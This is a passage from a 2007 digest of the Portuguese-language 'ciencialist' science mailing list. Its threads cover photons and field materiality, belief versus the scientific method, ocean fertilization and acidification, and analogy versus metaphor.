> Muitos preferem nem pensar... É mais cômodo.
>

Qualquer crença é não-pensar, seja por comodismo ou por medo.

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 12:06

Pode-se imaginar uma troca de partículas, não detectadas ainda. Mas a
explicação didática atual mais usual é a "deformação ou conformação" do
espaço afetado pelo campo, que dispensa a troca de partículas. Mas devo
dizer que essa explicação também não esclarece muita coisa...

[]s

José Renato

ET. O que vc achou do livro O Tecido do Cosmos: o espaço, o tempo e a
textura da realidade?
............................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 29, 2007 11:08 AM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Olá, Luiz! Os campos eletromagnéticos e gravitacionais são fenômenos
> existentes e constatáveis em que não se detecta agentes materiais em
> sua transmissão e/ou propagação.

Na não. São descrito em termos de troca de partículas. E se não tiver
corpos as trocando entre si...

[]s,

Roberto Takata



SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 12:20

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Pode-se imaginar uma troca de partículas, não detectadas ainda.

Não é preciso imaginar. Fótons já foram detetados.

> Mas a explicação didática atual mais usual é a "deformação ou
> conformação" do espaço afetado pelo campo, que dispensa a troca de
> partículas.

A própria possibilidade de medição da deformação mostra o caráter
material. Mas mm assim o espaço-tempo deformado é apenas uma descrição
alternativa do campo gravitacional.

> ET. O que vc achou do livro O Tecido do Cosmos: o espaço, o tempo e
> a textura da realidade?

Bom. Ele se estende um pouco no didatismo - o q pode ajudar para as
pessoas com quase nenhum contato.

[]s,

Roberto Takata




SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 12:24

Interessante, Takata!
Gostaria de entender melhor esses algos que vc considera material sem que
eles tenham participação daquilo que geralmente chamamos de matéria.
[]s
José Renato
............................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 29, 2007 11:16 AM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Se considerarmos como material apenas as três famílias de matéria,

Se isso sim. Mas não é isso q se chama de algo ser material.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 12:29

----- Original Message -----
From: "rmtakata"
Sent: Thursday, March 29, 2007 12:20 PM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum

> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> > Pode-se imaginar uma troca de partículas, não detectadas ainda.

> Não é preciso imaginar. Fótons já foram detetados.

Sem querer me intrometer, mas já me intrometendo, tenho a impressão que o JR
está se referindo a partículas virtuais, como os gravitons e/ou os "fótons
virtuais". Alguém já *detectou* fótons virtuais, ou eles simplesmente foram
*imaginados* no bojo de alguma teoria? Será que o fato de alguma teoria,
relacionada a "fótons virtuais", ter passado por algum teste de
falseamento..... Isso nos permitiria dizer que esses fótons imaginários
foram detectados? Não é preciso responder, estou apenas tentando entender a
metodologia utilizada.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Repetição e envio de mensagens
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 12:30

Segue abaixo mensagem do Yahoo!Groups sobre os problemas que têm
ocorrido de multiplicação de mensagens e atrasos na distribuição.

[]s,

Roberto Takata
------------------

From: Send an Instant Message "Equipe Yahoo! Grupos"
<equipe_grupos_br@yahoo.com.br>
Date: Thu, 29 Mar 2007 14:41:30 -0000
Subject: Mensagens Repetidas e Entrega de E-mails

Caros Moderadores,

Gostaríamos de avisar que já estamos cientes do problema de mensagens
repetidas que está afetando o Yahoo! Grupos hoje e que nossa equipe
técnica já está trabalhando para resolver este assunto - (um efeito
colateral deste problema é que as mensagens estão demorando para chegar).

Já conseguimos consertar parte da base de dados mas sabemos que alguns
grupos ainda estão passando por isso e precisam de uma atenção redobrada.

Alguma instabilidade é esperada pois estamos "remexendo" o sistema
profundamente para potencializar a velocidade de envio dos e-mails.
Assim, quando acabarmos de resolver os problemas que ainda faltam
(bugs) vocês irão notar uma redução significativa no tempo de espera
das mensagens dos membros do Yahoo! Grupos.

Entraremos em contato quando tivermos mais informações sobre o status
deste assunto.

Pedimos desculpas por qualquer inconveniente que esse problema poderá
causar e agradecemos sua contribuição para aprimorar ainda mais o
Yahoo! Grupos.

Você pode encontrar mais informações no blog da equipe do Yahoo!
Grupos: http://blog.360.yahoo.com/y_groups_team (em inglês).

Abraços,
Equipe do Yahoo! Grupos

Para cancelar sua assinatura deste grupo, basta enviar um e-mail para:
moderators-br-unsubscribe@yahoogrupos.com.br




SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 12:40

----- Original Message -----
From: "rmtakata"
Sent: Thursday, March 29, 2007 12:20 PM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad
infinitum

> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...>
> > escreveu Pode-se imaginar uma troca de partículas, não
> > detectadas ainda.

> Não é preciso imaginar. Fótons já foram detetados.

Sem querer me intrometer, mas já me intrometendo, tenho a impressão
que o JR está se referindo a partículas virtuais, como os grávitons
e/ou os "fótons virtuais". Alguém já *detectou* fótons virtuais, ou
eles simplesmente foram *imaginados* no bojo de alguma teoria? Será
que o fato de alguma teoria, relacionada a "fótons virtuais", ter
passado por algum teste de falseamento..... Isso nos permitiria dizer
que esses fótons imaginários foram detectados? Não é preciso
responder, estou apenas tentando entender a metodologia utilizada.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Re: P/ Alvaro - : Sobre o Método Cientifico - adinfinitum
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 14:39

Olá Alvaro

Alvaro: "Lógica, porém satisfatória em termos. Só explica alguns dos
15 bilhões de anos de nossa jornada até aqui..."

Toda explicação científica é satisfatória em termos. Toda. É da
natureza, rigorosa e cuidadosa, do método científico ser assim.

A evolução é satisfatória para explicar a especiação, o enorme número
de seres diferentes, derivados de um ancestral em comum. E é para isso
que a teoria serve.

Para o surgimento da vida, desse ancestral em comum, é preciso outras
teorias, e esta área se chama abiogenese. E é satisfatória para essa
função. De onde veio o planeta e o sistema solar em que essa
abiogenese ocorreu, é outra área.

Temos teorias para a formação de estrelas e planetas, e elas são
satisfatórias para explicar a formação de estrelas e planetas, a
partir de nuvens de restos de outras estrelas e nuvens de hidrogênio.

Para explicar as nuvens de hidrogênio deste universo, as primeiras a
existirem, temos teorias chamadas cosmológicas, sendo a mais aceita,
pelo volume de evidências, o Big Bang. As condições iniciais de
formação, etc, são estudadas a partir de milésimos de segundos depois
do BB.

E para o surgimento do próprio BB? Temos outras teorias, mas que tem
dificuldades de serem testadas, o que é de se esperar para eventos
cósmicos de 13,7 bilhões de anos atrás..:-)

Sempre haverá uma nova pergunta atras de uma resposta? Claro..:-) Mas
isso não é um defeito ou falha do método científico ou da ciência, é
da natureza das perguntas. Se considerar que foi deus, ou como você
chama, o "sei-lá-o-que", que gerou o BB, quem gerou o sei-lá-o-que?

Por favor, se responder que o sei-la-o-que não foi causado, que não
precisa de causa, que sempre existiu, que independe, que transcende,
etc, qualquer dessas fugas padrão da crença, ENTÃO pode aplicar a
mesma resposta ao universo: ele sempre existiu, de forma ciclica,
explodindo e desaparecendo, sem necessidade de ser criado pelo
sei-la-o-que..:-) Ou ele transcende e surge quando deseja,
aleatoriamente, ou devido a flutuações quanticas não intencionais, etc.

Ou seja, desde que se disponha a fazer perguntas e encontrar
respostas, sempre será satisfatório "em termos". Mas, as respostas da
ciência são sempre mais satisfatórias e de confiabilidade maior que
qualquer outra.

Alvaro: "Mas tomo sempre uma posição "em cima do muro" com relação à
existência de sei-lá-quê, pois para mim essa é a única opinião
sustentável. "

Desculpe, mas discordo. Seria o mesmo que afirmar que a única opinião
sustentável sobre o Papai Noel é que não podemos provar se existe ou
não, portanto não posso agir ou afirmar que ele não existe. Isso é
ilógico. É perfeitamente sustentável agir para coisas que não tem
evidência de existir, como se não existissem.

Vou dar uma alternativa racional para seu problema básico, quem criou
o universo, para que e porque ele é da forma que é:

Eu afirmo que uma civilização extra-dimensional, super-poderosa e
tecnologicamente super avançada, aprendeu a gerar universos paralelos,
com suas constantes físicas pré-determinadas, de forma a permitir o
surgimento de estrelas super-massivas, que se tornam buracos negros,
de forma a usar a energia capturada por estes objetos (que são
enviadas para essa outra dimensão) como fonte energética em seu
próprio universo.

Afirmo também que acidentalmente as condições das constantes que estes
seres extradimensionais determinam, que permite a formação estrelas e
buracos negros, também permite planetas e vida biológica, mas este é
um efeito colateral ignorado, ou irrelevante, pela civilização
criadora do universo, e eles não ligam a mínima se algumas das
estrelas em colapso destroem mundos habitados, e nem se preocupam com
nossa vida aqui neste planetinha na periferia da galáxia.

Esta é uma hipótese totalmente coerente, racional, explicativa, e faz
bastante sentido. Mas é, como qualquer mitologia religiosa,
absolutamente inverificável, e podemos viver como se fosse totalmente
irreal. Como se não fosse verdade, não existisse.

O fato é, que se um "sei-la-o-que existe", podemos perfeitamente viver
como se não existisse, frente a absoluta falta de evidências dessa
existência. Isso serve para o sei-la-o-que, como para o Papai Noel ou
o bolo de chocolate em órbita de Rigel.

Citando Sagan, qual a diferença entre um dragão invisível que cospe
fogo frio, (virtualmente indetectável) e NENHUM dragão? Qual a
diferença entre um "sei-la-o-que" sem nenhuma evidência de existência,
sem nenhuma ação detectável neste universo e um "sei-la-o-que" que NÃO
existe?

Um abraço

Homero






SUBJECT: Re: Fertilização dos oceanos.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 14:40

boa tarde a todos

Só enviei uma mensagem para lista sobre o assunto. Alguém sabe a
razão do envio de uma única mensagem ter gerado o reenvio
automático da mesma mensagem oito vezes para lista? Os dois últimos
re-envios ocorreram no momento que o computador estava desligado.

Saudações. UCFilho

--- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@...>
escreveu
>
> Boa noite João de Carvalho
>
> o que se teme é o contrário: a acidificação progressiva dos oceanos
> liberando cada vez mais CO2.
>
> Quanto ao sentido inverso, acredita-se que mesmo uma maciça
> fertilização de 10 a 15% da superfície terrestre dos oceanos só
> traria uma redução de 10% do CO2 que hoje é emitido três vezes
mais
> rapidamente que pode ser absorvido.
>
> Soluções? Alguns crêem que ainda temos dez anos pela frente para
> reverter o aquecimento e, depois deste tempo o processo se torna
> irreversível.
>
> Leia mais detalhes nas URLs abaixo.
>
> Saudações. UCFilho
>
> http://www.scielo.br/pdf/ea/v4n9/v4n9a10.pdf
> http://www.mct.gov.br/index.php/content/view/17660.html
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> <joaobncarvalho@> escreveu
> >
> > Alguém sabe em que pé se encontra a idéia de fertilizar os
oceanos
> > para retirar CO2 da atmosfera e conter o aquecimento global?
> Aquela
> > idéia de plantar árvores me parece estúpida, pois a quantidade
de
> CO2
> > fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> > Pacífico inteiro com fertilizantes ocorreria um boom
> fitoplantônico
> > no meio do oceano. Este fitoplâncton entraria na cadeia
alimentar
> que
> > terminaria por levar o carbono fixado para os organismos
maiores,
> > que, ao morrer, afundariam levando o carbono para o fundo do
> oceano.
> > Ocorreria também um boom no fundo do oceano, pois a chuva de
> > nutrientes iria aumentar muito, mas creio que o CO2 iria ficar
por
> lá
> > mesmo, a 3 mil metros de profundidade. A disponibilidade de
> oxigênio
> > no fundo oceânico deve ser pequena, o que impediria que toda a
> > matéria orgânica fosse queimada produzindo CO2.
> >
> > A meu ver, os maiores problemas são os possíveis desajustes dos
> > ecossistemas marinhos, que presenciariam uma explosão de vida em
> > locais que sempre foram desérticos, e a nossa capacidade de
> conseguir
> > nutrientes o suficiente para fertilizar os oceanos.
> >
> > João de Carvalho
> >
>




SUBJECT: Re: Repetição e envio de mensagens
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 14:48

Boa tarde a todos,

pensei que fosse esta a resposta, mas como não li esta mensagem que
hora respondo, resolvi escrever a mensagem que enviei para que todos
soubessem que há um erro no provedor. Diante da postagem do Takata,
peço a todos que desconsiderem minha última mensagem.

Saudações. UCFilho

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> Segue abaixo mensagem do Yahoo!Groups sobre os problemas que têm
> ocorrido de multiplicação de mensagens e atrasos na distribuição.
>
> []s,
>
> Roberto Takata
> ------------------
>
> From: Send an Instant Message "Equipe Yahoo! Grupos"
> <equipe_grupos_br@...>
> Date: Thu, 29 Mar 2007 14:41:30 -0000
> Subject: Mensagens Repetidas e Entrega de E-mails
>
> Caros Moderadores,
>
> Gostaríamos de avisar que já estamos cientes do problema de
mensagens
> repetidas que está afetando o Yahoo! Grupos hoje e que nossa equipe
> técnica já está trabalhando para resolver este assunto - (um efeito
> colateral deste problema é que as mensagens estão demorando para
chegar).
>
> Já conseguimos consertar parte da base de dados mas sabemos que
alguns
> grupos ainda estão passando por isso e precisam de uma atenção
redobrada.
>
> Alguma instabilidade é esperada pois estamos "remexendo" o sistema
> profundamente para potencializar a velocidade de envio dos e-mails.
> Assim, quando acabarmos de resolver os problemas que ainda faltam
> (bugs) vocês irão notar uma redução significativa no tempo de
espera
> das mensagens dos membros do Yahoo! Grupos.
>
> Entraremos em contato quando tivermos mais informações sobre o
status
> deste assunto.
>
> Pedimos desculpas por qualquer inconveniente que esse problema
poderá
> causar e agradecemos sua contribuição para aprimorar ainda mais o
> Yahoo! Grupos.
>
> Você pode encontrar mais informações no blog da equipe do Yahoo!
> Grupos: http://blog.360.yahoo.com/y_groups_team (em inglês).
>
> Abraços,
> Equipe do Yahoo! Grupos
>
> Para cancelar sua assinatura deste grupo, basta enviar um e-mail
para:
> moderators-br-unsubscribe@yahoogrupos.com.br
>




SUBJECT: Animais híbridos
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 29/03/2007 14:51

Ótimas montagens:

http://www.funpic.hu/funblog/allatok/allatok.html

----------

Meus agradecimentos ao amigo Marco Paganini.

- c.a.t.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] dúvida
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 17:32

Renato:
Seria de bom alvitre aconselhar pesquisas dos documentos guardados no Vaticano e que sobraram da Biblioteca de Alexandria.

sds.,

silvio.
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, March 27, 2007 6:58 PM
Subject: Re: [ciencialist] dúvida


Arqueologia da contabilidade! Tá danado...
Uma dica imaginar o que seria preparar um livro caixa ou um balancete em
algarismos romanos, em vez dos nossos maneiros números hidu-arábicos.
[]s
José Renato
............................................
From: "Luiz Ferraz Netto" <leobarretos@To: "ciencialist"
<ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 6:32 AM
Subject: [ciencialist] Fw: dúvia

Alguma sugestão?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Ana Célia
Para: leobarretos@uol.com.br
Enviada em: sábado, 24 de março de 2007 11:58
Assunto: dúvia

Oi Professor

Tenho que fazer um trabalho sobre arquelologia na contabilidade e o pior é
que teremos que expor logo na semana do contabilista.

O sr. poderia me dar alguma dica, pois minha equipe está muito fraca
incluindo eu sem nenhuma criatividade.

Muito obrigado

Ana Célia
Contabilidade
Preview Computadores Ltda
Tel: (71)2103-8874-8716-2545
www.preview.com.br/anacelia@prv.com.br

[As partes desta mensagem que não continham texto foram removidas]

##### ##### #####

Página de apoio
http://www.ciencialist.com

##### ##### ##### #####
Links do Yahoo! Grupos

E-mail classificado pelo Identificador de Spam Inteligente Terra.
Para alterar a categoria classificada, visite
http://mail.terra.com.br/protected_email/imail/imail.cgi?+_u=jrma&_l=1,1174988290.4283.13219.vacoas.hst.terra.com.br,4541,Des15,Des15

Esta mensagem foi verificada pelo E-mail Protegido Terra.
Scan engine: McAfee VirusScan / Atualizado em 26/03/2007 / Versão:
5.1.00/4992
Proteja o seu e-mail Terra: http://mail.terra.com.br/

--
No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 268.18.18/734 - Release Date: 26/3/2007
14:31






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 268.18.16/729 - Release Date: 21/3/2007 07:52


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Mensagens Repetidas e Entrega de E-mails - Consertado!
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 17:58

Repassando a nova informacao do Yahoogrupos.

Pelo visto algumas novidades podem aparecer no servico de Grupos do Yahoo.

A equipe deles passou varios anos(?) em silencio. Com poucas
alteracoes e nenhum comunicado.

Ateh
Luis Brudna


=-=-=-=-
Moderadores,

O problema com o os e-mails repetidos já foi consertado pela equipe de
Yahoo! Grupos.
Pode ser que alguma mensagem ainda chegue repetida por ter sido
postada antes do problema ser consertado.

Mais uma vez, desculpe-nos pelo inconveniente. Obrigada pelos feedbacks.

Abraços,
Equipe Yahoo! Grupos

"Há 10 tipos de pessoas no mundo: os que conhecem código binário, e os
que não." - Geek desconhecido



SUBJECT: Re: [ciencialist] Re: Analogia e metáfora
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 18:31

Takata,
só uma coisa que não entrou completamente nos meus circuitos
neuronais, a metafora é ou não um tipo de analogia? Segundo o texto
abaixo, é sim:

"It has been argued that analogy is "the core of cognition"
(Hofstadter in Gentner et al. 2001). Specific analogical language
comprises exemplification, comparisons, metaphors, similes,
allegories, and parables, but not metonymy. "
http://en.wikipedia.org/wiki/Analogy

Abraço,
Esteban.


Em 27/03/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> > - Uma piada pode envolver várias figuras de linguagem, mas no cerne,
> > temos frequentemente duas (ou mais) realidades análogas cujo
> > cruzamento inesperado, usualmente envolvendo padrões morais rigidos
> > e que de outra forma não poderiam ser naturalmente tocados, provoca
> > o regogizo? Toda piada é uma analogia subversiva? Estou tentando me
> > lembrar uma que não seja...
>
> Alguns pesquisadores dizem q o efeito anedótico é mais pela quebra de
> padrão (e a comparação se dá com esse padrão).
>
> Por q a imagem de uma velhinha de olhos esbugalhados com as pernas
> para o ar e uma casca de banana voando para longe parece cômico?
>
> > - Disse-me um físico que os animais não fazem metáfora, essa
> > qualidade pertence somente à espécie humana. A analogia, contudo,
> > parece-me que é válida para todo o reino animal, ainda que
> > embrionária. Que lhes parece isso?
>
> Bastante complicado. Se tomarmos simbologia como analogia, então
> muitos animais trabalham com isso. Quando animais procuram comida,
> podem procurar por rastros ou sinais, digamos, cheiro - o cheiro
> obviamente não é a comida, mas indica q a presa pode estar por perto.
>
> > a capacidade de fazer metáforas é uma qualidade do gênio:
>
> Q diga nosso futebolístico cefalópodo.
>
> > Não está ai a base de todo conhecimento científico?
>
> De todo talvez não. Mas é parte importante na comunicação. Vários
> conceitos abstratos são passados por meio de analogias - como a
> curvatura do espaço-tempo e a membrana de borracha, a variação do
> valor adaptativo de uma característica em função da configuração das
> pressões no meio em termos de paisagens adaptativas, gráficos são
> analogias visuais da relação entre grandezas e assim por diante. Com
> os reveses da analogia indevidamente estendida ou indevidamente
> estabelecida.
>
> []s,
>
> Roberto Takata
>


SUBJECT: Re: Analogia e metáfora
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 19:30

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> só uma coisa que não entrou completamente nos meus circuitos
> neuronais, a metafora é ou não um tipo de analogia?


Gramaticalmente falando (pelo menos na sistemática da língua
portuguesa), não - os dois são tipos de comparação.

[]s,

Roberto Takata



SUBJECT: Re: Fertilização dos oceanos.UCFilho
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 21:50

Olá.

Obrigado pela resposta, e pelo texto indicado.

> o que se teme é o contrário: a acidificação progressiva dos oceanos
> liberando cada vez mais CO2.

Eu não entendi isso. Como a fertilização dos oceanos poderia produzir
tais resultados?

Saudações.
João de Carvalho.




SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 23:19

Fótons foram detectados estruturando que campo?
[]s
José Renato
.............................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 29, 2007 12:20 PM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Pode-se imaginar uma troca de partículas, não detectadas ainda.

Não é preciso imaginar. Fótons já foram detetados.



SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 23:45

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Fótons foram detectados estruturando que campo?

O eletromagnético, naturalmente.

[]s,

Roberto Takata



SUBJECT: Re: Fertilização dos oceanos.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 00:35

Bom dia João Carvalho

não foi você que não entendeu, é o texto ficou sem coesão. Isto pode
cacontecer quando se fica até tarde trabalhando no computador,
navegando pela internet, bebendo cerveja ou fazendo um mistura das
três coisas.

Segue a correção com ampliação: o progressivo aumento do CO2 gera
maior dissolução deste na água o que a torna mais ácida (CO2 e água
formam ácido carbônico que se dissocia em íon carbonato e íon H+)e
este aumento da acidez que é a maior preocupação atual em relação aos
oceanos uma vez que o mesmo pode matar grande parte da vida marinha e
também pelo fato de que a fertilização não se mostra tão promissora
quando um dia se acreditou.

Em 1800 o pH da água do mar era de 8,16 e hoje é de 8,00 e no final do
século será tal que a acidez terá dobrado no perído 1800-2100 (será
7,9).

Confira outras URLs como as que constam abaixo.

Saudações. UCFilho

http://www.jornaldaciencia.org.br/Detalhe.jsp?id=41662
http://www.riosvivos.org.br/canal.php?canal=34&mat_id=9770



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá.
>
> Obrigado pela resposta, e pelo texto indicado.
>
> > o que se teme é o contrário: a acidificação progressiva dos oceanos
> > liberando cada vez mais CO2.
>
> Eu não entendi isso. Como a fertilização dos oceanos poderia
produzir
> tais resultados?
>
> Saudações.
> João de Carvalho.
>




SUBJECT: Re: Sobre o Método Cientifico - decodificand o?=
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 11:59

Olá Jeff!

Jeff >>> Pra que criar um sentido que dê sentido ao
que não faz sentido?

--- Pra ter uma "forma" lógica de interagir com o que
não faz sentido (ilógico).

--- Considere o seguinte: interação = comunicação. É a
mesma coisa, apenas questão semantica.

--- Imagine que vc decida viajar pro japão. Os
japoneses vão emitir som que não irão fazer sentido
pra vc. Vc supoe que faz sentido pra eles, pois eles
interagem muito bem usando aqueles sons, mas pra vc os
sons que os japoneses emitem não faz sentido, e sendo
assim, vc também não consegue interagir verbalmente
com eles.

--- O que vc faz para conseguir interagir verbalmente
com os japoneses. Vc tem que fazer aqueles sons sem
sentido fazerem sentido pra vc, não é? Mas como?
TRADUZINDO para o portugues. E outras palavras:
DECODIFICANDO, criando um sentido (portugues) que dê
sentido ao que não faz sentido (japones).

--- Agora, se vc não tiver interesse em interagir
verbalmente com os japoneses, ai vc não tem porque
tradudir, pois "pra que" implica em uso, uso implica
em usuário, e usuário implica em interesse.

Jeff >>> Então os crentes estão acima dos cientistas,
pois "já sabem" que o desconhecido é um negócio
chamado "deus", que controla tudo.

--- Como vc generalizou, vou responder
generalizadamente também: Não!

--- A maioria dos crentes não "sabem" o que é deus,
eles apenas "acreditam" numa teoria. Uma teoria
teológica. É diferente "saber o significado de uma
teoria! de apenas "acreditar numa teoria".

--- Outra coisa, ninguém está acima de ninguém. Os
seres humanos apenas possuem "formas diferentes" de se
interressar pela "mesma coisa": deus. Novamente
generalizando, classifico estas formas diferentes de
interesse em 4 formas:

--- Cientifica - querer conhecer deus.
--- Artistica - querer sentir deus.
--- Filosofica - querer entender deus.
--- Religiosa - querer ser deus. (religare)

Jeff >>> Não sei se um dia vamos entender a verdade,
mas SÓ podemos tentar realmente entendê-la de forma
racional... Óbvio né...

--- Sim, o "racional" é a unica forma de "entender" a
verdade, mas vc pode sentir a verdade também, vc pode
ser a verdade também. Aliás, vc não apenas pode, mas,
sendo humano, faz isto o tempo todo.

Jeff >>> Pra que aceitar como verdade algo que não se
entende?

--- Concordo com vc que ACEITAR algo como verdade não
trás nenhum beneficio, mas CONSIDERAR algo como uma
possivel verdade, mantém sua mente aberta e
investigativa.

--- Considere isto: o fato de vc não entender algo não
significa que não seja verdade nem mentira. Por
exemplo, vc pode não entender isto aqui: "e=m.c2". Mas
não significa que não seja verdade nem mentira. Se vc
considera, mantém sua mente aberta pra investigar e
buscar o significado real por trás da teoria. O mesmo
pode acontecer com esta teoria aqui: "deus é três". Se
vc considera, mantém sua mente aberta e investigativa.


Jeff >>> Isso, pra mim, é desistir de pensar, de
buscar a verdade, e se conformar com uma "explicação".

--- Concordo com vc.

--- Contudo, porque se conformar em acreditar nas
"teorias" cientificas? Minha atual observação e
conclusão é a seguinte: a grande maioria dos
cientistas são tão crentes das teorias cietificas como
os crentes religiosos são das teorias teológicas. Ou
seja, repetem feito papagaio o que foram obrigados a
decorar na escola, mas não sabem o que estão dizendo,
não sabem o significado dos significantes que usam.

Jeff >>> Ou então é medo de concluir que a verdade
pode ser cruel, feia, sem graça....

--- Sim, medo. Medo de vários tipos. Vou falar mais
sobre isto numa resposta adiante...

Jeff >>> As crenças, mesmo que inventadas, são mais
interessantes, atraentes, não é isso? Como um
entorpecente.

--- Me engana que eu gosto. É melhor um talvez do que
um não depois das seis. E por ai vai... Se vc acredita
que a terra é o centro do universo, se construiu todo
seu conhecimento sobre isto, como vai reagir a noticia
de que isto é mentira? Crença dá uma "falsa
segurança". E falsa, mas dá. Novamente isto toca a
questão do medo: medo é fruto da insegurança.

Jeff >>> Eu não preciso aceitar uma invenção de alguém
pra ter "respostas". Se eu não entendo, fico sem
entender oras, mas sempre tentando entender...

--- Concordo com vc nisto ai: "fico sem entender, mas
sempre tentando entender". Ou seja: não preciso de uma
"falsa segurança", estou seguro com a minha
insegurança, e prossigo investigando... Isto é a
verdadeira mente cientifica, investigativa. Mente
sempre aberta. Sócrates expressou esta postura mental
assim: "Tudo que sei é que nada sei." . Ele não disse
que não considerva o conhecimento produzido, mas
apenas que não fechava a porta mental.

Jeff >>> Vejo que muita gente só se conforma, só se
sente bem, tendo todas as "respostas".

--- E perceba só: ninguém precisa de resposta nenhuma
pra sentir nada, sentir é outro departamento. Teorias
não são pra sentir, são pra pensar.

Jeff >>> Você não acha engraçado escolher uma
"verdade"? :-)

--- Como vc disse: é medo. Fechamos a mente por medo.
É uma questão emocional, não é racional. Se uma pessoa
não tem medo, porque precisa se fecha? Não precisa.
Fechar é medo de perder. Porque fechamos uma coisa no
cofres Medo de perder a coisa. Porque trancamos a
verdade no cofre de uma teoria. Medo de perder a
verdade. Mas se o que temos é verdade de verade, não
precisamos ter medo de perde-la, pois a verdade não se
perde, a verdade é sempre verdade. O que muda é a
forma de ver a verdade, a teoria, não a verdade.
Assim, o medo não é de perder a verdade, isto é
impossivel, o medo é de perder a "crença", a "teoria",
seja ela teológica, cientifica, filosófica, ou
culinária (rs)...

Jeff >>> A "decodificação" correta de uma informação
depende da "chave" correta.

--- Sim, concordo. E chave é código, e código é
linguagem. Assim, vc pode entender decodificação como
tradução. Então, se vc pensar que deus se comunica em
sua própria linguagem, irracional e ilógica, o que
fazer os seres humanos?

Jeff >>> Não podemos dizer que a ciência tem a chave
